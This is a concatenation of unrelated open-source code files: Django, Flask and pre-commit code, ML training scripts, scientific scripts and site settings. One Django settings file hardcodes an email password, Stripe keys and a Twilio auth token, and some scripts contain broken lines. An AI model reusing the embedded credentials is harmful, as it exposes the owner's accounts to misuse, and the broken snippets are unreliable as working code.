product=product,\n quantity=cd[\"quantity\"],\n update_quantity=cd[\"update\"],\n )\n return redirect(\"cart_detail\")\n\n\ndef cart_remove(request, product_id):\n \"\"\"Удаление товара из корзины.\"\"\"\n cart = Cart(request)\n product = get_object_or_404(Product, id=product_id)\n cart.remove(product)\n return redirect(\"cart_detail\")\n\n\ndef cart_detail(request):\n \"\"\"Отображает корзину, основываясь на данных, сохраненных в сессии request.session.\"\"\"\n context = {}\n cart = Cart(request)\n for item in cart:\n item[\"update_quantity_form\"] = CartAddProductForm(\n initial={\"quantity\": item[\"quantity\"], \"update\": True},\n ) # Изменение количества товаров в корзине.\n context[\"cart\"] = cart\n return render(request, \"cart/detail.html\", context)\n","sub_path":"cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638313811","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nTEST BASE STOCK MARKET STRATEGY\n\nCreated on Thu Apr 4 21:27:33 2019\n\n@author: Luiz Felipe Manke\n\nImprovements to Be Done:\n -\n\"\"\"\n\n# System Libraries\nimport pandas as pd\nimport pickle\nimport os\nimport unittest\n\n# Own Libraries\nos.chdir('/Users/luizmanke/Google Drive/Stock Market Analysis/Codes/src')\nfrom base_strategy import TechnicalAnalysis\n\n\nclass TestStringMethods(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print('\\n#[SET UP]#')\n cls.path = ('/Users/luizmanke/Google Drive/Stock Market Analysis/' +\n 'Codes/test/data test')\n cls.daily_data = pickle.load(open(cls.path + '/daily_data.pkl', 'rb'))\n cls.weekly_data = \\\n pickle.load(open(cls.path + '/weekly_data.pkl', 'rb'))\n\n def test_find_high_low(self):\n print('\\n#[FIND HIGH & LOW]#')\n highs = pickle.load(open(self.path + '/highs.pkl', 'rb'))\n lows = pickle.load(open(self.path + '/lows.pkl', 'rb'))\n tsa = TechnicalAnalysis(daily_data=self.daily_data,\n weekly_data=self.weekly_data)\n tsa.find_high_low()\n self.assertEqual(tsa.highs, highs, 'Wrong highs!')\n self.assertEqual(tsa.lows, lows, 'Wrong lows!')\n\n def test_create_ma(self):\n print('\\n#[CREATE MOVING AVERAGE]#')\n ma_exp = pickle.load(open(self.path + '/ma_exp.pkl', 'rb'))\n tsa = TechnicalAnalysis(daily_data=self.daily_data,\n weekly_data=self.weekly_data)\n tsa.create_ma(window=50)\n for i in list(ma_exp):\n for j in list(ma_exp[i]):\n for k in list(ma_exp[i][j]):\n tsa.ma[i][j][k] = tsa.ma[i][j][k].to_dict()\n ma_exp[i][j][k] = ma_exp[i][j][k].to_dict()\n self.assertEqual(tsa.ma, ma_exp, 'Wrong moving average!')\n\n def test_create_macd(self):\n print('\\n#[CREATE MACD]#')\n macd = pickle.load(open(self.path + '/macd.pkl', 'rb'))\n tsa = TechnicalAnalysis(daily_data=self.daily_data,\n weekly_data=self.weekly_data)\n tsa.create_macd()\n for i in list(macd):\n for j in list(macd[i]):\n for k in list(macd[i][j]):\n tsa.macd[i][j][k] = tsa.macd[i][j][k].to_dict()\n macd[i][j][k] = macd[i][j][k].to_dict()\n self.assertEqual(tsa.macd, macd, 'Wrong MACD!')\n\n def test_save_signals(self):\n print('\\n#[SAVE SIGNALS]#')\n stocks = ['BBAS3', 'VALE3']\n for stock in stocks:\n if os.path.exists(self.path + '/signal_{}.csv'.format(stock)):\n os.remove(self.path + '/signal_{}.csv'.format(stock))\n signals = pickle.load(open(self.path + '/signals.pkl', 'rb'))\n tsa = TechnicalAnalysis()\n tsa.save_signals(signals, self.path)\n for stock in list(signals):\n signal = signals[stock]\n loaded = pd.read_csv(self.path + '/signal_{}.csv'.format(stock))\n dates = [pd.Timestamp(x) for x in loaded['Date']]\n loaded['Date'] = dates\n loaded.set_index('Date', inplace=True)\n equal = signal.equals(loaded)\n self.assertEqual(equal, True, 'Wrong saved signals!')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"dev/test/test_base_strategy.py","file_name":"test_base_strategy.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"210346140","text":"import logging\nimport threading\nimport time\n\nlogging.basicConfig(level=logging.DEBUG,\n format='%(levelname)5s:%(name)5s: %(asctime)5s.%(msecs)03d | (%(threadName)-2s) %(message)s',\n datefmt='%H:%M:%S'\n )\n\nmax_connections = 3\n\n\nclass WorkerThread(threading.Thread):\n runningthrd = []\n\n def __init__(self, pool_sema, name):\n threading.Thread.__init__(self)\n self.pool_sema = pool_sema\n self.name = name\n\n @classmethod\n def append_runningthrd(cls, name):\n cls.runningthrd.append(name)\n logging.debug(\"running thread {}\".format(cls.runningthrd))\n\n @classmethod\n def release_runningthrd(cls, name):\n cls.runningthrd.remove(name)\n logging.debug(\"release... running thread {}\".format(cls.runningthrd))\n\n def run(self):\n logging.debug(\"waitting...\")\n self.pool_sema.acquire()\n\n self.append_runningthrd(self.name)\n time.sleep(0.15)\n self.release_runningthrd(self.name)\n\n self.pool_sema.release()\n\n\nif __name__ == '__main__':\n # There are atmost max_connections threads can connect to database server.\n pool_sema = threading.Semaphore(value=max_connections)\n for i in range(1, 6):\n thr = WorkerThread(pool_sema, name=str(i))\n thr.start()\n","sub_path":"Threading/t12-LimitingConcurrent.py","file_name":"t12-LimitingConcurrent.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"380151024","text":"import requests\nimport re\n\n\ndef getContent(url):\n '''\n 获取页面内容\n url:目标网页\n '''\n session = requests.Session()\n content = session.get(url)\n print(content.text)\n return content\n\n\ndef searchKeyValue(method, content):\n '''\n 找关键值\n method:匹配规则\n content:待匹配字段\n '''\n key = re.findall(method, content)\n return key\n\n\ndef calculateResult(u0, key1, key2, round, symbol):\n '''\n 计算表达式结果\n '''\n i = 0\n if symbol == '+':\n while i < rounds:\n result = (key1 + u0) + (i * key2)\n i += 1\n u0 = result\n return result\n elif symbol == '-':\n while i < rounds:\n result = (key1 + u0) - (i * key2)\n i += 1\n u0 = result\n return result\n\n\nurl = ''\ncontent = getContent(url)\n# 初始值\nu0 = searchKeyValue('', content.text)\n# 表达式中左边括号内的常数\nkey_1 = searchKeyValue('', content.text)\n# 表达式中右边括号内的常数\nkey_2 = searchKeyValue('', content.text)\n# 最终结果需要的轮数\nrounds = searchKeyValue('', content.text)\n# 两个括号间的计算符号\nsymbol = searchKeyValue('', content.text)\nresult = str(calculateResult(u0, key_1, key_2, rounds, symbol))\ntarget_url = '' + result\ncontent_result = getContent(target_url)\nprint(content_result.text)\n","sub_path":"Others/fast_reverse.py","file_name":"fast_reverse.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"102255840","text":"import torch\nfrom prepare_dataset import PascalVocDataset\nfrom prepare_train import get_model, get_transform\nfrom engine import train_one_epoch, evaluate\nfrom ped_dataset import PennFudanDataset\nimport utils\nimport os\n\n\n\ndef main(root, num_classes, num_epochs, batch_size, data = \"r\", backbone = None, save_model_path = \"./trained_model.pth\"):\n # train on the GPU or on the CPU, if a GPU is not available\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n # use our dataset and defined transformations\n \n #dataset = PascalVocDataset(root, get_transform(train=True), data)\n #dataset_test = PascalVocDataset(root, get_transform(train=False), data)\n\n if data == \"ped\":\n dataset = PennFudanDataset(root, get_transform(train=True))\n dataset_test = PennFudanDataset(root, get_transform(train=False))\n else:\n dataset = PascalVocDataset(root, get_transform(train=True), data = data)\n dataset_test = PascalVocDataset(root, get_transform(train=False), data= data )\n\n print(\"preparing dataset....\")\n # split the dataset in train and test set\n indices = torch.randperm(len(dataset)).tolist()\n dataset = torch.utils.data.Subset(dataset, indices[:-50])\n dataset_test = torch.utils.data.Subset(dataset_test, indices[-50:])\n print(\"Done.\")\n\n # define training and validation data loaders\n data_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True\n ,collate_fn=utils.collate_fn)\n\n data_loader_test = torch.utils.data.DataLoader(dataset_test, batch_size=1, shuffle=False,\n collate_fn=utils.collate_fn)\n\n # get the model using our helper function\n model = get_model(num_classes, backbone)\n\n print(model)\n # move model to the right device\n model.to(device)\n\n # construct an optimizer\n params = [p for p in model.parameters() if p.requires_grad]\n optimizer = torch.optim.SGD(params, lr=0.005, momentum=0.9, weight_decay=0.0005)\n # and a learning rate scheduler\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=3, gamma=0.1)\n\n if not os.path.exists(\"./checkpoints\"):\n os.makedirs(\"./checkpoints\")\n\n for epoch in range(num_epochs):\n # train for one epoch, printing every 10 iterations\n train_one_epoch(model, optimizer, data_loader, device, epoch, print_freq=10)\n # update the learning rate\n lr_scheduler.step()\n # evaluate on the test dataset\n evaluate(model, data_loader_test, device=device)\n \n #load model to cpu\n model = model.to(torch.device(\"cpu\"))\n training_checkpoint_path = f\"./checkpoints/training_checkpoint_{epoch}/{num_epochs}.pth\"\n #save model\n torch.save(model, )\n \n #load model to cpu\n model = model.to(torch.device(\"cpu\"))\n #save model\n torch.save(model, save_model_path)\n print(\"That's it!\")\n\n\nif __name__ == \"__main__\":\n\n #root = \"E:/BE Project/code/tomato_data_preprocessing/tomato_img_5mp/\"\n #root = \"E:/BE Project/Recycle_data/data\"\n #root = \"E:/BE Project/Fruits Data/train_zip/fruits_data/\"\n #root = \"D:/Datasets/PennFudanPed\"\n \n #root = \"D:/Datasets/Scrap\"\n root = \"E:/Projects/2020/FreeLancing/Raedd/Explainer/Resources/dataset/Dataset/final_localization_data\"\n main(root, 2, 10, 1, data = \"photoshop\")","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"78353368","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport argparse\nimport os.path\n\nimport mock\nimport pytest\n\nfrom pre_commit import main\nfrom pre_commit.util import cwd\nfrom testing.auto_namedtuple import auto_namedtuple\n\n\nFNS = (\n 'autoupdate', 'clean', 'install', 'install_hooks', 'migrate_config', 'run',\n 'sample_config', 'uninstall',\n)\nCMDS = tuple(fn.replace('_', '-') for fn in FNS)\n\n\n@pytest.yield_fixture\ndef mock_commands():\n mcks = {fn: mock.patch.object(main, fn).start() for fn in FNS}\n ret = auto_namedtuple(**mcks)\n yield ret\n for mck in ret:\n mck.stop()\n\n\nclass CalledExit(Exception):\n pass\n\n\n@pytest.yield_fixture\ndef argparse_exit_mock():\n with mock.patch.object(\n argparse.ArgumentParser, 'exit', side_effect=CalledExit,\n ) as exit_mock:\n yield exit_mock\n\n\n@pytest.yield_fixture\ndef argparse_parse_args_spy():\n parse_args_mock = mock.Mock()\n\n original_parse_args = argparse.ArgumentParser.parse_args\n\n def fake_parse_args(self, args):\n # call our spy object\n parse_args_mock(args)\n return original_parse_args(self, args)\n\n with mock.patch.object(\n argparse.ArgumentParser, 'parse_args', fake_parse_args,\n ):\n yield parse_args_mock\n\n\ndef assert_only_one_mock_called(mock_objs):\n total_call_count = sum(mock_obj.call_count for mock_obj in mock_objs)\n assert total_call_count == 1\n\n\ndef test_overall_help(mock_commands, argparse_exit_mock):\n with pytest.raises(CalledExit):\n main.main(['--help'])\n\n\ndef test_help_command(\n mock_commands, argparse_exit_mock, argparse_parse_args_spy,\n):\n with pytest.raises(CalledExit):\n main.main(['help'])\n\n argparse_parse_args_spy.assert_has_calls([\n mock.call(['help']),\n mock.call(['--help']),\n ])\n\n\ndef test_help_other_command(\n mock_commands, argparse_exit_mock, argparse_parse_args_spy,\n):\n with pytest.raises(CalledExit):\n main.main(['help', 'run'])\n\n argparse_parse_args_spy.assert_has_calls([\n mock.call(['help', 'run']),\n mock.call(['run', '--help']),\n ])\n\n\n@pytest.mark.parametrize('command', CMDS)\ndef test_all_cmds(command, mock_commands):\n main.main((command,))\n assert getattr(mock_commands, command.replace('-', '_')).call_count == 1\n assert_only_one_mock_called(mock_commands)\n\n\ndef test_try_repo():\n with mock.patch.object(main, 'try_repo') as patch:\n main.main(('try-repo', '.'))\n assert patch.call_count == 1\n\n\ndef test_help_cmd_in_empty_directory(\n mock_commands,\n tempdir_factory,\n argparse_exit_mock,\n argparse_parse_args_spy,\n):\n path = tempdir_factory.get()\n\n with cwd(path):\n with pytest.raises(CalledExit):\n main.main(['help', 'run'])\n\n argparse_parse_args_spy.assert_has_calls([\n mock.call(['help', 'run']),\n mock.call(['run', '--help']),\n ])\n\n\ndef test_expected_fatal_error_no_git_repo(\n tempdir_factory, cap_out, mock_out_store_directory,\n):\n with cwd(tempdir_factory.get()):\n with pytest.raises(SystemExit):\n main.main([])\n log_file = os.path.join(mock_out_store_directory, 'pre-commit.log')\n assert cap_out.get() == (\n 'An error has occurred: FatalError: git failed. '\n 'Is it installed, and are you in a Git repository directory?\\n'\n 'Check the log at {}\\n'.format(log_file)\n )\n\n\ndef test_warning_on_tags_only(mock_commands, cap_out):\n main.main(('autoupdate', '--tags-only'))\n assert '--tags-only is the default' in cap_out.get()\n","sub_path":"tests/main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"612548746","text":"class Solution(object):\n def jump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) == 1:\n return 0\n dp = [nums[0]]\n index = 1\n while index < len(nums) - 1:\n if dp[-1] >= len(nums) - 1:\n break\n new_dp, new_dp_index = nums[index], index\n for num_index in range(index, dp[-1] + 1):\n if nums[num_index] + num_index >= new_dp:\n new_dp = nums[num_index] + num_index\n index = dp[-1] + 1\n dp.append(new_dp)\n return len(dp)","sub_path":"跳跃游戏 II/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"606772188","text":"import streamlit as st\nfrom PIL import Image\nimport tensorflow as tf\nimport numpy as np\nimport copy\n\ng_mean = np.array(([126.88, 120.24, 112.19])).reshape([1, 1, 3])\nIMAGE_SIDE = 320\n\nst.title(\"Salient Object Detection\")\nimage_file = st.sidebar.file_uploader(\"Choose a PNG or JPEG file.\", type=['jpg', 'png', 'jpeg'])\nif image_file is not None:\n image = Image.open(image_file).resize((IMAGE_SIDE, IMAGE_SIDE), resample=Image.NEAREST)\n\n input_image = (np.asarray(image.convert('RGB')) - g_mean).reshape((1, IMAGE_SIDE, IMAGE_SIDE, 3))\n\n with tf.compat.v1.Session(config=tf.compat.v1.ConfigProto(gpu_options=tf.compat.v1.GPUOptions(\n per_process_gpu_memory_fraction=0.0))) as sess:\n tf.compat.v1.train.import_meta_graph('meta_graph/my-model.meta').restore(\n sess, tf.train.latest_checkpoint('salience_model'))\n\n feed_dict = {tf.compat.v1.get_collection('image_batch')[0]: input_image}\n detection = sess.run(tf.compat.v1.get_collection('mask')[0], feed_dict=feed_dict)\n\n salient_mask = Image.fromarray(detection[0].reshape(IMAGE_SIDE, IMAGE_SIDE) * 255).convert('L')\n\n masked_image = copy.deepcopy(image)\n masked_image.putalpha(salient_mask)\n\n st.subheader(\"Original Image alongside Detected Mask and Final Image Masking\")\n st.image([image, salient_mask, masked_image])\nelse:\n st.header(\"No image loaded. Load one from the sidebar!\")\n","sub_path":"model/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"534644663","text":"import numpy as np\nfrom gpaw import GPAW\nfrom ase import Atoms\nfrom ase.visualize import view\n\n# We set this to True if we want lots of info on the screen,\n# otherwise False\nprint_to_screen=False\n\n# Initial structural parameters\nd = 0.974\ntheta = 104.4 * np.pi/180.\n\n# Positions of the H2O atoms (in that order)\npos = [[d*np.cos(theta/2.), d*np.sin(theta/2.), 0.],\n [d*np.cos(theta/2.), -d*np.sin(theta/2.), 0.],\n [0., 0., 0.]]\n\n# Let us instantiate an Atoms object and add some vacuum around the molecule\natoms = Atoms(\"H2O\", positions=pos, pbc=False)\natoms.center(vacuum=4.)\n\n# Let's view the molecule\nview(atoms)\n\n# We create a GPAW calculator object and assign it to atoms\nif print_to_screen:\n calc = GPAW(xc=\"PBE\")\nelse:\n calc = GPAW(xc=\"PBE\", txt=\"gpaw.out\")\n\natoms.set_calculator(calc)\n\n# Let us run a GPAW calculation to get the cohesive energy of this configuration\ne_water = atoms.get_potential_energy()\ndip_water = atoms.get_dipole_moment()\n\nprint(\"Dipole of a H2O monomer: (%f, %f, %f) electrons/Angstrom\" % \\\n (dip_water[0], dip_water[1], dip_water[2]))\n","sub_path":"water/water_monomer_dipole.py","file_name":"water_monomer_dipole.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"40583223","text":"from __future__ import print_function\n\nimport json\nimport os\n\nfrom django.conf import settings\nfrom django.contrib.auth.hashers import make_password\nfrom django.contrib.auth.models import User\nfrom wagtail.wagtailcore.models import Page, Site\n\nfrom v1.models import HomePage, BrowseFilterablePage\n\n\ndef run():\n print('Running script \\'scripts.initial_data\\' ...')\n admin_user = None\n site_root = None\n events = None\n\n admin_user = User.objects.filter(username='admin')\n if not admin_user:\n admin_user = User(username='admin',\n password=make_password(os.environ.get('WAGTAIL_ADMIN_PW')),\n is_superuser=True, is_active=True, is_staff=True)\n admin_user.save()\n else:\n admin_user = admin_user[0]\n\n # Creates a new site root `CFGov`\n site_root = HomePage.objects.filter(title='CFGOV')\n if not site_root:\n root = Page.objects.first()\n site_root = HomePage(title='CFGOV', slug='home-page', depth=2, owner=admin_user)\n site_root.live = True\n root.add_child(instance=site_root)\n latest = site_root.save_revision(user=admin_user, submitted_for_moderation=False)\n latest.save()\n else:\n site_root = site_root[0]\n\n # Setting new site root\n if not Site.objects.filter(hostname='content.localhost').exists():\n site = Site.objects.first()\n site.port = 8000\n site.root_page_id = site_root.id\n site.save()\n content_site = Site(hostname='content.localhost', port=8000, root_page_id=site_root.id)\n content_site.save()\n\n # Clean Up\n old_site_root = Page.objects.filter(id=2)[0]\n if old_site_root:\n old_site_root.delete()\n\n # Events Browse Page required for event `import-data` command\n if not BrowseFilterablePage.objects.filter(title='Events').exists():\n events = BrowseFilterablePage(title='Events', slug='events', owner=admin_user)\n site_root.add_child(instance=events)\n revision = events.save_revision(\n user=admin_user,\n submitted_for_moderation=False,\n )\n revision.publish()\n\n # Archived Events Browse Filterable Page\n if not BrowseFilterablePage.objects.filter(title='Archive').exists():\n archived_events = BrowseFilterablePage(title='Archive', slug='archive', owner=admin_user)\n if not events:\n events = BrowseFilterablePage.objects.get(title='Events')\n\n events.add_child(instance=archived_events)\n revision = archived_events.save_revision(\n user=admin_user,\n submitted_for_moderation=False,\n )\n revision.publish()\n","sub_path":"cfgov/scripts/initial_data.py","file_name":"initial_data.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"346466862","text":"from sites.global_settings import *\n\nPROJECT_CLIENT_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nSTATICFILES_DIRS.append(os.path.join(PROJECT_CLIENT_PATH, 'static'))\nSTATIC_ROOT = os.path.join(PROJECT_CLIENT_PATH, 'static_collection')\nTEMPLATES[0][\"DIRS\"].append(os.path.join(PROJECT_CLIENT_PATH, 'templates'))\nSITE_ID = 1\n\nSITE_DOMAIN = \"www.strikeironstudio.com\"\nSITE_TITLE = \"Strike Iron Studio\"\nEMAILS = (\n ('Info', 'Info@StrikeIronStudio.com',),\n ('Support', 'Support@StrikeIronStudio.com',),\n)\nPHONE_NUMBERS = (\n ('Local Phone', '850-332-7065', '+18503327065',),\n ('Toll Free Phone', '888-777-6153','+18887776153',),\n)\n\nADMINS = [('AndrewBC', 'andrew+django_strikeironstudio_com@strikeironstudio.com'),]\n\nADDRESS = \"1212 Creighton Rd\"\nADDRESS2 = \"Pensacola, Florida\"\n\nEMAIL_HOST_USER = 'Andrew@StrikeIronStudio.com'\nEMAIL_HOST_PASSWORD = 'B33rb33r!$!'\nGOOGLE_ANALYTICS_KEY = 'UA-4193408-2'\n\nSTRIPE_SECRET_KEY = STRIPE_SECRET = \"sk_test_LSBGNhPShqI2BmMREWuJZGx4\"\nSTRIPE_PUBLIC_KEY = STRIPE_PUBLISHABLE = \"pk_test_52tzMAn5q6Okgl7O7U0EasQS\"\n\nTWILIO_ACCOUNT_SID = \"AC91e9d4aef66f948b224f5e16fb9ad916\"\nTWILIO_AUTH_TOKEN = \"b1f5f568849b6ab6838d10096dd2f297\"\nTWILIO_DEFAULT_CALLERID = '2108595454'\n\nGOOGLE_PLUS_PUBLISHER = \"https://plus.google.com/+StrikeIronStudioLLC/about\"\nGOOGLE_PLUS_AUTHOR = \"https://plus.google.com/102805625893659828683/\"\nFACEBOOK_PUBLISHER = \"https://www.facebook.com/StrikeIronStudio\"\n\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_PORT = 587\nEMAIL_USE_TLS = True\n\n# Twitter Username WITHOUT the @\nTWITTER_USERNAME = \"StrikeIronStdio\"\n\n#############\n# DATABASES #\n#############\nDATABASES = {\n \"default\": {\n # Add \"postgresql_psycopg2\", \"mysql\", \"sqlite3\" or \"oracle\".\n 'ENGINE': 'django.db.backends.sqlite3',\n # DB name or path to database file if using sqlite3.\n 'NAME': os.path.join(PROJECT_CLIENT_PATH, 'dev.sqlite.db'),\n # Not used with sqlite3.\n \"USER\": \"\",\n # Not used with sqlite3.\n \"PASSWORD\": \"\",\n # Set to empty string for localhost. Not used with sqlite3.\n \"HOST\": \"\",\n # Set to empty string for default. Not used with sqlite3.\n \"PORT\": \"\",\n }\n}\n","sub_path":"sites/strikeironstudio_com/settings/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"442557737","text":"from typing import Callable, Dict, List, Tuple\n\nfrom summer.legacy.constants import FlowAdjustment\nfrom summer.legacy.stratification import Stratification\n\nfrom .flow import BaseFlow\n\n\nclass BaseEntryFlow(BaseFlow):\n \"\"\"\n A flow where people enter the destination compartment, but there is no source.\n Eg. births, importation.\n \"\"\"\n\n def update_compartment_indices(self, mapping: Dict[str, float]):\n \"\"\"\n Update index which maps flow compartments to compartment value array.\n \"\"\"\n self.dest.idx = mapping[self.dest]\n\n def stratify(self, strat: Stratification) -> List[BaseFlow]:\n \"\"\"\n Returns a list of new, stratified entry flows to replace the current flow.\n \"\"\"\n if not self.dest.has_name_in_list(strat.compartments):\n # Flow destination is not stratified, do not stratify this flow.\n return [self]\n\n new_flows = []\n for stratum in strat.strata:\n adjustment = None\n if strat.is_ageing():\n # Use special rules for ageing.\n if stratum == \"0\":\n # Babies get born at age 0, add a null op to prevent default behaviour.\n adjustment = (FlowAdjustment.MULTIPLY, 1)\n else:\n # Babies do not get born at any other age.\n adjustment = (FlowAdjustment.OVERWRITE, 0)\n else:\n # Not an ageing stratification, check for user-specified flow adjustments.\n adjustment = strat.get_flow_adjustment(self.dest, stratum, self.param_name)\n\n if not adjustment:\n # Default to equally dividing entry population between all strata.\n num_strata = len(strat.strata)\n entry_fraction = 1.0 / num_strata\n adjustment = (FlowAdjustment.MULTIPLY, entry_fraction)\n\n new_adjustments = [*self.adjustments, adjustment]\n new_dest = self.dest.stratify(strat.name, stratum)\n new_flow = self.copy(\n dest=new_dest,\n param_name=self.param_name,\n param_func=self.param_func,\n adjustments=new_adjustments,\n )\n new_flows.append(new_flow)\n\n return new_flows\n","sub_path":"summer/legacy/flow/base/entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301936054","text":"#\n# V-Ray/Blender\n#\n\nimport sys\n\nPLATFORM= sys.platform\n\nWITH_BF_QUICKTIME = 'False'\nWITH_BF_FMOD = 'False'\nWITH_BF_ICONV = 'False'\nWITH_BF_STATICOPENGL = 'False'\nWITH_BF_VERSE = 'False'\nWITH_BF_GAMEENGINE = 'False'\nWITH_BF_PLAYER = 'False'\nWITH_BF_COLLADA = 'False'\n\nWITH_BF_INTERNATIONAL = 'True'\nWITH_BF_JPEG = 'True'\nWITH_BF_PNG = 'True'\nWITH_BF_FFMPEG = 'True'\nWITH_BF_OPENAL = 'True'\nWITH_BF_SDL = 'True'\nWITH_BF_BULLET = 'True'\nWITH_BF_ZLIB = 'True'\nWITH_BF_FTGL = 'True'\nWITH_BF_RAYOPTIMIZATION = 'True'\nWITH_BF_OPENEXR = 'True'\n\nWITH_BUILDINFO = 'True'\n\nBF_OPENAL_LIB = 'openal alut'\nBF_TWEAK_MODE = 'false'\nBF_PYTHON_VERSION = '3.2'\nBF_NUMJOBS = 4\n\nif PLATFORM == \"win32\":\n\tBF_INSTALLDIR = \"C:\\\\vb25\"\n\tBF_SPLIT_SRC = 'true'\n\tBF_BUILDDIR = \"C:\\\\b\"\nelse:\n\tSUFFIX =\t\t\t\"m\"\n\tBF_PYTHON =\t\t\t\"/usr\"\n\tBF_PYTHON_LIBPATH = \"${BF_PYTHON}/lib\"\n\tBF_PYTHON_INC =\t\t\"${BF_PYTHON}/include/python${BF_PYTHON_VERSION}\" + SUFFIX\n\tBF_PYTHON_BINARY =\t\"${BF_PYTHON}/bin/python${BF_PYTHON_VERSION}\"\n\tBF_PYTHON_LIB =\t\t\"python${BF_PYTHON_VERSION}\" + SUFFIX\n\n\tBF_INSTALLDIR = \"/opt/blender-2.5\"\n\tBF_BUILDDIR = \"/tmp/build-b25\"\n\n\tCCFLAGS = ['-pipe','-fPIC','-funsigned-char','-fno-strict-aliasing']\n\tCPPFLAGS = ['-DXP_UNIX']\n\tCXXFLAGS = ['-pipe','-fPIC','-funsigned-char','-fno-strict-aliasing']\n\tREL_CFLAGS = ['-O2']\n\tREL_CCFLAGS = ['-O2']\n\tC_WARN = ['-Wno-char-subscripts', '-Wdeclaration-after-statement']\n\tCC_WARN = ['-Wall']\n","sub_path":"configs/user-config.py","file_name":"user-config.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"445950022","text":"import json\nfrom pprint import pprint\nfrom importlib import import_module\n\nimport utils\n\n\ndef main():\n # get training parameters\n with open('params.json') as f:\n gan_params = json.load(f)\n\n print('--params--')\n pprint(gan_params)\n\n dataset_base_dir = './data_set'\n for param in gan_params:\n model_name = param[\"model-name\"]\n epochs = int(param[\"epochs\"])\n mnist_type = param[\"mnist-type\"]\n mnist = utils.get_mnist(dataset_base_dir, mnist_type)\n\n print('Training {:s} with epochs: {:d}, dataset: {:s}'.format(model_name, epochs, mnist_type))\n\n # get appropriate module and it's class to start training\n module_name = import_module(model_name)\n gan_class = getattr(module_name, model_name.upper())\n net = gan_class(model_name, mnist_type, mnist, epochs)\n net.train()\n\n return\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"430007520","text":"from flask import Blueprint\nfrom flask_restful import Api, reqparse, Resource, marshal, inputs\nfrom sqlalchemy import desc\n\nfrom flask_jwt_extended import jwt_required, get_jwt_claims\nfrom blueprints import admin_required, user_required\n\nfrom .model import Points\nfrom ..posting.model import TopLevels, SecondLevels\nfrom ..user.model import Users\nfrom blueprints import db, app\n\nbp_point = Blueprint('point', __name__)\napi = Api(bp_point)\n\nclass PointCRU(Resource):\n #CORS\n def options(self, *args, **kwargs):\n return {}, 200\n\n @jwt_required\n @user_required\n def get(self):\n \n user_id = get_jwt_claims()['user_id']\n\n # parser =reqparse.RequestParser()\n # parser.add_argument(\"content_type\", location=\"args\", choices=('article','question','answer','comment'))\n # parser.add_argument('locator_id',location='args')\n # args = parser.parse_args()\n\n # if args['content_type'] in ['article','question']:\n qry = Points.query #.filter_by(locator_id=args['locator_id'])\n qry = qry.filter_by(user_id=user_id)\n # .filter_by(content_type=args['content_type']).first()\n rows = []\n for que in qry:\n marshal_point = marshal(que, Points.response_fields)\n rows.append(marshal_point)\n\n # if qry.deleted == False:\n # return all, if None returns empty?\n return rows, 200, {'Content-Type':'application/json'}\n \n # return mar\n #yang direturn apa?\n\n # @jwt_required\n # @user_required\n # def post(self):\n\n # users_id = get_jwt_claims()['user_id']\n\n # parser =reqparse.RequestParser()\n # parser.add_argument(\"content_type\", location=\"json\", choices=('article','question','answer','comment'))\n # parser.add_argument('locator_id',location='args')\n # args = parser.parse_args()\n\n \n # point = Points(user_id, args['content_type'], args['locator_id'])\n\n # db.session.add(point)\n # db.session.commit()\n\n @jwt_required\n @user_required\n def put(self):\n\n user_id = get_jwt_claims()['user_id']\n\n parser =reqparse.RequestParser()\n parser.add_argument(\"content_type\", location=\"json\", choices=('article','question','answer','comment'), required=True)\n parser.add_argument('locator_id',location='json', type=int, required=True)\n parser.add_argument('value',location='json', type=int, choices=(0,1), required=True)\n args = parser.parse_args()\n\n #filter first\n qry = Points.query\n qry = qry.filter_by(content_type=args['content_type']).filter_by(locator_id=args['locator_id'])\n\n ###check content\n\n # qry_me = 